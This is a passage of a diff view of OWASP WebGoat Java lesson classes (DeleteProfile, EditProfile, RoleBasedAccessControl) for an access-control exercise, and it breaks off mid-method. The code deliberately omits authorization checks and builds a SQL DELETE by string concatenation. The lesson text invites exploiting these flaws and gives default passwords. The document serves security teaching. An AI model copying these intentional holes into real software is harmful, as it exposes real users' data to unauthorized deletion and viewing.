hints.add(WebGoatI18N.get("RemoteAdminFlawHint5")); hints.add(WebGoatI18N.get("RemoteAdminFlawHint5"));
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(160); private final static Integer DEFAULT_RANKING = new Integer(160);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Remote Admin Access"); return ("Remote Admin Access");
} }
} }

View File

@ -44,113 +44,113 @@ import org.owasp.webgoat.session.WebSession;
public class DeleteProfile extends DefaultLessonAction public class DeleteProfile extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public DeleteProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) public DeleteProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException UnauthorizedException, ValidationException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID); int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID); int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
if (userId != employeeId) { if (userId != employeeId) {
deleteEmployeeProfile(s, userId, employeeId); deleteEmployeeProfile(s, userId, employeeId);
} }
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
updateLessonStatus(s); updateLessonStatus(s);
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return RoleBasedAccessControl.LISTSTAFF_ACTION; return RoleBasedAccessControl.LISTSTAFF_ACTION;
} }
public void deleteEmployeeProfile(WebSession s, int userId, int employeeId) throws UnauthorizedException public void deleteEmployeeProfile(WebSession s, int userId, int employeeId) throws UnauthorizedException
{ {
try try
{ {
// Note: The password field is ONLY set by ChangePassword // Note: The password field is ONLY set by ChangePassword
String query = "DELETE FROM employee WHERE userid = " + employeeId; String query = "DELETE FROM employee WHERE userid = " + employeeId;
// System.out.println("Query: " + query); // System.out.println("Query: " + query);
try try
{ {
Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
statement.executeUpdate(query); statement.executeUpdate(query);
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error deleting employee profile"); s.setMessage("Error deleting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error deleting employee profile"); s.setMessage("Error deleting employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
public void deleteEmployeeProfile_BACKUP(WebSession s, int userId, int employeeId) throws UnauthorizedException public void deleteEmployeeProfile_BACKUP(WebSession s, int userId, int employeeId) throws UnauthorizedException
{ {
try try
{ {
// Note: The password field is ONLY set by ChangePassword // Note: The password field is ONLY set by ChangePassword
String query = "DELETE FROM employee WHERE userid = " + employeeId; String query = "DELETE FROM employee WHERE userid = " + employeeId;
// System.out.println("Query: " + query); // System.out.println("Query: " + query);
try try
{ {
Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
statement.executeUpdate(query); statement.executeUpdate(query);
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error deleting employee profile"); s.setMessage("Error deleting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error deleting employee profile"); s.setMessage("Error deleting employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
private void updateLessonStatus(WebSession s) private void updateLessonStatus(WebSession s)
{ {
// If the logged in user is not authorized to be here, stage 1 is complete. // If the logged in user is not authorized to be here, stage 1 is complete.
if (RoleBasedAccessControl.STAGE1.equals(getStage(s))) try if (RoleBasedAccessControl.STAGE1.equals(getStage(s))) try
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID); int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
if (!isAuthorized(s, userId, RoleBasedAccessControl.DELETEPROFILE_ACTION)) if (!isAuthorized(s, userId, RoleBasedAccessControl.DELETEPROFILE_ACTION))
{ {
setStageComplete(s, RoleBasedAccessControl.STAGE1); setStageComplete(s, RoleBasedAccessControl.STAGE1);
} }
} catch (ParameterNotFoundException e) } catch (ParameterNotFoundException e)
{ {
} }
} }
} }

View File

@ -43,123 +43,123 @@ import org.owasp.webgoat.session.WebSession;
public class EditProfile extends DefaultLessonAction public class EditProfile extends DefaultLessonAction
{ {
public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName) public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException UnauthorizedException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getUserId(s); int userId = getUserId(s);
int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID); int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
Employee employee = getEmployeeProfile(s, userId, employeeId); Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.EMPLOYEE_ATTRIBUTE_KEY, employee); setSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.EMPLOYEE_ATTRIBUTE_KEY, employee);
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return RoleBasedAccessControl.EDITPROFILE_ACTION; return RoleBasedAccessControl.EDITPROFILE_ACTION;
} }
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{ {
Employee profile = null; Employee profile = null;
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT * FROM employee WHERE userid = ?"; String query = "SELECT * FROM employee WHERE userid = ?";
try try
{ {
PreparedStatement answer_statement = WebSession.getConnection(s) PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId); answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery(); ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results .getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
} }
return profile; return profile;
} }
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{ {
// Query the database to determine if this employee has access to this function // Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given // Query the database for the profile data of the given employee if "owned" by the given
// user // user
Employee profile = null; Employee profile = null;
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT * FROM employee WHERE userid = ?"; String query = "SELECT * FROM employee WHERE userid = ?";
try try
{ {
PreparedStatement answer_statement = WebSession.getConnection(s) PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId); answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery(); ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results .getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
} }
return profile; return profile;
} }
} }

View File

@ -52,408 +52,408 @@ import org.owasp.webgoat.session.WebSession;
*/ */
public class RoleBasedAccessControl extends GoatHillsFinancial public class RoleBasedAccessControl extends GoatHillsFinancial
{ {
private final static Integer DEFAULT_RANKING = new Integer(125); private final static Integer DEFAULT_RANKING = new Integer(125);
public final static String STAGE1 = "Bypass Business Layer Access Control"; public final static String STAGE1 = "Bypass Business Layer Access Control";
public final static String STAGE2 = "Add Business Layer Access Control"; public final static String STAGE2 = "Add Business Layer Access Control";
public final static String STAGE3 = "Bypass Data Layer Access Control"; public final static String STAGE3 = "Bypass Data Layer Access Control";
public final static String STAGE4 = "Add Data Layer Access Control"; public final static String STAGE4 = "Add Data Layer Access Control";
protected void registerActions(String className) protected void registerActions(String className)
{ {
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
// This action has not yet been implemented. None of the lessons require it. // This action has not yet been implemented. None of the lessons require it.
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions. // These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION))); registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION))); registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION))); registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
} }
/** /**
* Gets the category attribute of the CommandInjection object * Gets the category attribute of the CommandInjection object
* *
* @return The category value * @return The category value
*/ */
public Category getDefaultCategory() public Category getDefaultCategory()
{ {
return Category.ACCESS_CONTROL; return Category.ACCESS_CONTROL;
} }
/** /**
* Gets the hints attribute of the DirectoryScreen object * Gets the hints attribute of the DirectoryScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Many sites attempt to restrict access to resources by role."); hints.add("Many sites attempt to restrict access to resources by role.");
hints.add("Developers frequently make mistakes implementing this scheme."); hints.add("Developers frequently make mistakes implementing this scheme.");
hints.add("Attempt combinations of users, roles, and resources."); hints.add("Attempt combinations of users, roles, and resources.");
// Stage 1 // Stage 1
hints.add("Stage1: How does the application know that the user selected the delete function?"); hints.add("Stage1: How does the application know that the user selected the delete function?");
// Stage 2 // Stage 2
hints.add("Stage2: You have to code to check the authorization of the user for the action."); hints.add("Stage2: You have to code to check the authorization of the user for the action.");
// Stage 3 // Stage 3
hints.add("Stage3: How does the application know that the user selected any particular employee to view?"); hints.add("Stage3: How does the application know that the user selected any particular employee to view?");
// Stage 4 // Stage 4
hints.add("Note that the contents of the staff listing change depending on who is logged in."); hints.add("Note that the contents of the staff listing change depending on who is logged in.");
hints hints
.add("Stage4: You have to code to check the authorization of the user for the action on a certain employee."); .add("Stage4: You have to code to check the authorization of the user for the action on a certain employee.");
return hints; return hints;
} }
@Override @Override
public String[] getStages() public String[] getStages()
{ {
if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2, STAGE3, STAGE4 }; if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2, STAGE3, STAGE4 };
return new String[] { STAGE1, STAGE3 }; return new String[] { STAGE1, STAGE3 };
} }
/** /**
* Gets the instructions attribute of the ParameterInjection object * Gets the instructions attribute of the ParameterInjection object
* *
* @return The instructions value * @return The instructions value
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = ""; String instructions = "";
if (!getLessonTracker(s).getCompleted()) if (!getLessonTracker(s).getCompleted())
{ {
String stage = getStage(s); String stage = getStage(s);
if (STAGE1.equals(stage)) if (STAGE1.equals(stage))
{ {
instructions = "Stage 1: Bypass Presentational Layer Access Control.<br />" instructions = "Stage 1: Bypass Presentational Layer Access Control.<br />"
+ "As regular employee 'Tom', exploit weak access control to use the Delete function from the Staff List page. " + "As regular employee 'Tom', exploit weak access control to use the Delete function from the Staff List page. "
+ "Verify that Tom's profile can be deleted. " + "Verify that Tom's profile can be deleted. "
+ "The passwords for users are their given names in lowercase (e.g. the password for Tom Cat is \"tom\")."; + "The passwords for users are their given names in lowercase (e.g. the password for Tom Cat is \"tom\").";
} }
else if (STAGE2.equals(stage)) else if (STAGE2.equals(stage))
{ {
instructions = "Stage 2: Add Business Layer Access Control.<br><br />" instructions = "Stage 2: Add Business Layer Access Control.<br><br />"
+ "<b><font color=\"blue\"> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br /><br />" + "<b><font color=\"blue\"> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br /><br />"
+ "Implement a fix to deny unauthorized access to the Delete function. " + "Implement a fix to deny unauthorized access to the Delete function. "
+ "To do this, you will have to alter the WebGoat code. " + "To do this, you will have to alter the WebGoat code. "
+ "Once you have done this, repeat stage 1 and verify that access to DeleteProfile functionality is properly denied."; + "Once you have done this, repeat stage 1 and verify that access to DeleteProfile functionality is properly denied.";
} }
else if (STAGE3.equals(stage)) else if (STAGE3.equals(stage))
{ {
instructions = "Stage 3: Breaking Data Layer Access Control.<br />" instructions = "Stage 3: Breaking Data Layer Access Control.<br />"
+ "As regular employee 'Tom', exploit weak access control to View another employee's profile. Verify the access."; + "As regular employee 'Tom', exploit weak access control to View another employee's profile. Verify the access.";
} }
else if (STAGE4.equals(stage)) else if (STAGE4.equals(stage))
{ {
instructions = "Stage 4: Add Data Layer Access Control.<br><br />" instructions = "Stage 4: Add Data Layer Access Control.<br><br />"
+ "<b><font color=\"blue\"> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br /><br />" + "<b><font color=\"blue\"> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br /><br />"
+ "Implement a fix to deny unauthorized access to this data. " + "Implement a fix to deny unauthorized access to this data. "
+ "Once you have done this, repeat stage 3, and verify that access to other employee's profiles is properly denied."; + "Once you have done this, repeat stage 3, and verify that access to other employee's profiles is properly denied.";
} }
} }
return instructions; return instructions;
} }
public String getLessonSolutionFileName(WebSession s) public String getLessonSolutionFileName(WebSession s)
{ {
String solutionFileName = null; String solutionFileName = null;
String stage = getStage(s); String stage = getStage(s);
solutionFileName = "/lesson_solutions_1/Lab Access Control/Lab " + stage + ".html"; solutionFileName = "/lesson_solutions_1/Lab Access Control/Lab " + stage + ".html";
return solutionFileName; return solutionFileName;
} }
@Override @Override
public String getSolution(WebSession s) public String getSolution(WebSession s)
{ {
String src = null; String src = null;
try try
{ {
src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))), src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))),
false); false);
} catch (IOException e) } catch (IOException e)
{ {
s.setMessage("Could not find the solution file"); s.setMessage("Could not find the solution file");
src = ("Could not find the solution file"); src = ("Could not find the solution file");
} }
return src; return src;
} }
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
// Here is where dispatching to the various action handlers happens. // Here is where dispatching to the various action handlers happens.
// It would be a good place verify authorization to use an action. // It would be a good place verify authorization to use an action.
// System.out.println("RoleBasedAccessControl.handleRequest()"); // System.out.println("RoleBasedAccessControl.handleRequest()");
if (s.getLessonSession(this) == null) s.openLessonSession(this); if (s.getLessonSession(this) == null) s.openLessonSession(this);
String requestedActionName = null; String requestedActionName = null;
try try
{ {
requestedActionName = s.getParser().getStringParameter("action"); requestedActionName = s.getParser().getStringParameter("action");
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
// Let them eat login page. // Let them eat login page.
requestedActionName = LOGIN_ACTION; requestedActionName = LOGIN_ACTION;
} }
// System.out.println("Requested lesson action: " + requestedActionName); // System.out.println("Requested lesson action: " + requestedActionName);
try try
{ {
DefaultLessonAction action = (DefaultLessonAction) getAction(requestedActionName); DefaultLessonAction action = (DefaultLessonAction) getAction(requestedActionName);
if (action != null) if (action != null)
{ {
// System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: " + // System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: " +
// action.getActionName()); // action.getActionName());
if (!action.requiresAuthentication()) if (!action.requiresAuthentication())
{ {
// Access to Login does not require authentication. // Access to Login does not require authentication.
action.handleRequest(s); action.handleRequest(s);
} }
else else
{ {
// ***************CODE HERE************************* // ***************CODE HERE*************************
// ************************************************* // *************************************************
if (action.isAuthenticated(s)) if (action.isAuthenticated(s))
{ {
action.handleRequest(s); action.handleRequest(s);
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
} }
else else
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
// System.out.println("Missing parameter"); // System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve) } catch (ValidationException ve)
{ {
// System.out.println("Validation failed"); // System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue) } catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
// System.out.println("Authentication failure"); // System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
s.setMessage("You are not authorized to perform this function"); s.setMessage("You are not authorized to perform this function");
// Update lesson status if necessary. // Update lesson status if necessary.
String stage = getStage(s); String stage = getStage(s);
if (STAGE2.equals(stage)) if (STAGE2.equals(stage))
{ {
try try
{ {
if (RoleBasedAccessControl.DELETEPROFILE_ACTION.equals(requestedActionName) if (RoleBasedAccessControl.DELETEPROFILE_ACTION.equals(requestedActionName)
&& !isAuthorized(s, getUserId(s), RoleBasedAccessControl.DELETEPROFILE_ACTION)) && !isAuthorized(s, getUserId(s), RoleBasedAccessControl.DELETEPROFILE_ACTION))
{ {
setStageComplete(s, STAGE2); setStageComplete(s, STAGE2);
} }
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
pnfe.printStackTrace(); pnfe.printStackTrace();
} }
} }
// System.out.println("isAuthorized() exit stage: " + getStage(s)); // System.out.println("isAuthorized() exit stage: " + getStage(s));
// Update lesson status if necessary. // Update lesson status if necessary.
if (STAGE4.equals(stage)) if (STAGE4.equals(stage))
{ {
try try
{ {
// System.out.println("Checking for stage 4 completion"); // System.out.println("Checking for stage 4 completion");
DefaultLessonAction action = (DefaultLessonAction) getAction(getCurrentAction(s)); DefaultLessonAction action = (DefaultLessonAction) getAction(getCurrentAction(s));
int userId = Integer.parseInt((String) s.getRequest().getSession() int userId = Integer.parseInt((String) s.getRequest().getSession()
.getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID)); .getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID));
int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID); int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
if (!action.isAuthorizedForEmployee(s, userId, employeeId)) if (!action.isAuthorizedForEmployee(s, userId, employeeId))
{ {
setStageComplete(s, STAGE4); setStageComplete(s, STAGE4);
} }
} catch (Exception e) } catch (Exception e)
{ {
// swallow this - shouldn't happen inthe normal course // swallow this - shouldn't happen inthe normal course
// e.printStackTrace(); // e.printStackTrace();
} }
} }
// System.out.println("Authorization failure"); // System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace(); ue2.printStackTrace();
} catch (Exception e) } catch (Exception e)
{ {
// All other errors send the user to the generic error page // All other errors send the user to the generic error page
// System.out.println("handleRequest() error"); // System.out.println("handleRequest() error");
e.printStackTrace(); e.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} }
// All this does for this lesson is ensure that a non-null content exists. // All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer()); setContent(new ElementContainer());
} }
public void handleRequest_BACKUP(WebSession s) public void handleRequest_BACKUP(WebSession s)
{ {
// Here is where dispatching to the various action handlers happens. // Here is where dispatching to the various action handlers happens.
// It would be a good place verify authorization to use an action. // It would be a good place verify authorization to use an action.
// System.out.println("RoleBasedAccessControl.handleRequest()"); // System.out.println("RoleBasedAccessControl.handleRequest()");
if (s.getLessonSession(this) == null) s.openLessonSession(this); if (s.getLessonSession(this) == null) s.openLessonSession(this);
String requestedActionName = null; String requestedActionName = null;
try try
{ {
requestedActionName = s.getParser().getStringParameter("action"); requestedActionName = s.getParser().getStringParameter("action");
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
// Let them eat login page. // Let them eat login page.
requestedActionName = LOGIN_ACTION; requestedActionName = LOGIN_ACTION;
} }
// System.out.println("Requested lesson action: " + requestedActionName); // System.out.println("Requested lesson action: " + requestedActionName);
if (requestedActionName != null) if (requestedActionName != null)
{ {
try try
{ {
LessonAction action = getAction(requestedActionName); LessonAction action = getAction(requestedActionName);
if (action != null) if (action != null)
{ {
// System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: " // System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: "
// + action.getActionName()); // + action.getActionName());
if (!action.requiresAuthentication()) if (!action.requiresAuthentication())
{ {
// Access to Login does not require authentication. // Access to Login does not require authentication.
action.handleRequest(s); action.handleRequest(s);
} }
else else
{ {
if (action.isAuthenticated(s)) if (action.isAuthenticated(s))
{ {
int userId = action.getUserId(s); int userId = action.getUserId(s);
if (action.isAuthorized(s, userId, action.getActionName())) if (action.isAuthorized(s, userId, action.getActionName()))
{ {
action.handleRequest(s); action.handleRequest(s);
} }
else else
{ {
throw new UnauthorizedException(); throw new UnauthorizedException();
} }
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
} }
else else
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
// System.out.println("Missing parameter"); // System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve) } catch (ValidationException ve)
{ {
// System.out.println("Validation failed"); // System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue) } catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
// System.out.println("Authentication failure"); // System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
String stage = getStage(s); String stage = getStage(s);
// Update lesson status if necessary. // Update lesson status if necessary.
if (STAGE2.equals(stage)) if (STAGE2.equals(stage))
{ {
try try
{ {
if (RoleBasedAccessControl.DELETEPROFILE_ACTION.equals(requestedActionName) if (RoleBasedAccessControl.DELETEPROFILE_ACTION.equals(requestedActionName)
&& !isAuthorized(s, getUserId(s), RoleBasedAccessControl.DELETEPROFILE_ACTION)) && !isAuthorized(s, getUserId(s), RoleBasedAccessControl.DELETEPROFILE_ACTION))
{ {
setStageComplete(s, STAGE2); setStageComplete(s, STAGE2);
} }
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
pnfe.printStackTrace(); pnfe.printStackTrace();
} }
} }
// System.out.println("isAuthorized() exit stage: " + getStage(s)); // System.out.println("isAuthorized() exit stage: " + getStage(s));
// Update lesson status if necessary. // Update lesson status if necessary.
if (STAGE4.equals(stage)) if (STAGE4.equals(stage))
{ {
try try
{ {
